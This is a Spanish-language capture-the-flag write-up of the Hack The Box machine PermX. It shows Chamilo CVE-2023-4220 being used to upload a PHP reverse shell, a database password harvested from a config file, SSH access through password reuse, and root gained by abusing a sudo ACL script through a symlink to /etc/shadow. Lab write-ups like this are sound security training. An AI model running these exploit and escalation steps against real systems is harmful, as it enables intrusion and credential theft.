En esta ocasión vamos a hacer el writeup de la máquina PermX de Hack the Box, una máquina Linux de dificultad easy.
Primer acceso
Añadimos la IP 10.10.11.23 a nuestro /etc/hosts y accedemos través del navegador.
Parece una web de cursos online. En la pestaña About, encontramos la parte del equipo, que nos podría servir para hacer bruteforce contra usuarios dirigidos:
La mayoría de links no llevan a ningún lado y solamente recargan la página actual. En principio no encontramos nada relevante.
Escaneo de puertos
Solo encontramos 2 puertos abiertos, el 22 y el 80. Los típicos. Podríamos probar a hacer bruteforce de SSH con los usuarios que encontramos en la web.
Fuzzing
Haciendo fuzzing con dirsearch nos encontramos unos pocos directorios:
Revisando los directorios no encontramos nada relevante.
Enumeración de Vhosts
En este momento puede parecer que no podemos hacer nada, pero vamos a usar ffuf para enumerar subdominios dentro de este host:
Encontramos los subdominios www y lms, por lo que vamos a añadirlos a nuestro /etc/hosts.
Nos interesa sobre todo el subdominio lms.permx.htb:
Llegamos a un panel de login de Chamilo, un software de elearning. En este punto podríamos buscar exploits específicos.
Búsqueda de exploits
Haciendo un poco de research nos encontramos este exploit en Github que nos podría servir:
Voy a crear una reverse shell por ejemplo con el plugin de Hack Tools:
Lo voy a guardar en el directorio raiz / con el nombre de shell.php
Explotación
Vamos a ejecutar el exploit de la siguiente manera:
Ahora si vamos a la siguiente ruta deberíamos ver nuestra shell:
Hay más hackers atacando la máquina, por eso que hay varias reverse shells subidas, pero hacemos click en la nuestra y recibimos la conexión en la terminal!
Somos el usuario www-data, y vemos que hay un usuario mtz en el sistema (user flag), pero no podemos acceder. Vamos a hacer un poco de credential hunting:
Ejecutamos un Linpeas y encontramos cosas relevantes, como un posible usuario y contraseña para una base de datos MongoDB:
Usando técnicas de Credential Hunting buscando archivos de configuración, encontramos uno que contiene credenciales para una base de datos:
Conexión a base de datos
Vamos a usar estar credenciales para conectarnos a mysql:
Enumeración de la BBDD
De todas las tablas de la base de datos, nos interesa la tabla user, donde podría haber información confidencial sobre el usuario:
Buuum! Obtenemos las credenciales del admin y de un nuevo usuario anonymous.
En BCrypt, el hash incluye el salt y el costo. Por ejemplo:
Vamos a guardar estos 2 hashes en un archivo hashes.txt y vamos a crackearlo con john:
User flag
Intentamos crackear estos hashes pero tarda demasiado. Vamos a probar a conectarnos por SSH con la contraseña de la base de datos, ya que puede estar reutilizada, y nos logueamos como el único usuario que habia en el sistema mtz:
Tenemos la User Flag! 🏆
Escalada de privilegios
Lo primero, comprobamos como siempre los permisos de ejecución de este usuario mtz:
Vamos a ver el contenido del script acl.sh:
Este script permite modificar los permisos dentro del path /home/mtz , entonces lo que vamos hacer es ejecutar los siguientes dos comandos:
El primer comando crea un simlink, una especie de acceso directo del path / con un nombre llamado root.
El segundo comando ejecuta el script acl.sh que este otorga permisos de escritura y lectura al archivo o carpeta que sea crea con el nombre root ubicado en /home/mtz. Esto nos permite leer y escribir el archivo /etc/shadow, lo que nos permitiría cambiar la contraseña del usuario root.
Ejecutando el script para leer /etc/shadow
Crear nuevo password de root
Elevar privilegios
Como veis, hemos modificado la contraseña del usuario root con la que hemos creado mediante openssl, siguiendo la misma estructura de contraseña.
Una vez que hemos modificado la contraseña, cambiamos al usuario root con su root y listo. Ya somos root! 😎
bash CVE-2023-4220.sh
All options -f, -h, and -p are required.
Usage: CVE-2023-4220.sh -f reverse_file -h host_link -p port_in_the_reverse_file
Options:
-f Path to the reverse file
-h Host link where the file will be uploaded
-p Port for the reverse shell
bash CVE-2023-4220.sh -f /home/kali/shell.php -h http://lms.permx.htb/ -p 1234
The file has successfully been uploaded.
# Use This leter For Interactive TTY ;)
# python3 -c 'import pty;pty.spawn("/bin/bash")'
# export TERM=xterm
# CTRL + Z
# stty raw -echo; fg
# Starting Reverse Shell On Port 1234 . . . . . . .
www-data@permx:/$ whoami
www-data
www-data@permx:/$ ls
bin dev home lib32 libx32 media opt root sbin sys usr
boot etc lib lib64 lost+found mnt proc run srv tmp var
www-data@permx:/$ cd home
www-data@permx:/home$ ls
mtz
www-data@permx:/home$ cd mtz
bash: cd: mtz: Permission denied
www-data@permx:/$ find / -type f -name "configuration.php" -exec ls -l {} \; 2>/dev/null
-rw-r--r-- 1 www-data www-data 127902 Jan 20 2024 /var/www/chamilo/app/config/configuration.php
-rwxr-xr-x 1 www-data www-data 1258 Aug 31 2023 /var/www/chamilo/plugin/sepe/src/configuration.php
www-data@permx:/$ cat /var/www/chamilo/app/config/configuration.php
<?php
// Chamilo version 1.11.24
// File generated by /install/index.php script - Sat, 20 Jan 2024 18:20:32 +0000
/* For licensing terms, see /license.txt */
<------SNIP------>
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
www-data@permx:/$ mysql -h localhost -P 3306 -u chamilo -p chamilo
Enter password: 03F6lY3uXAP2bkW8
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 137
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [chamilo]>
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"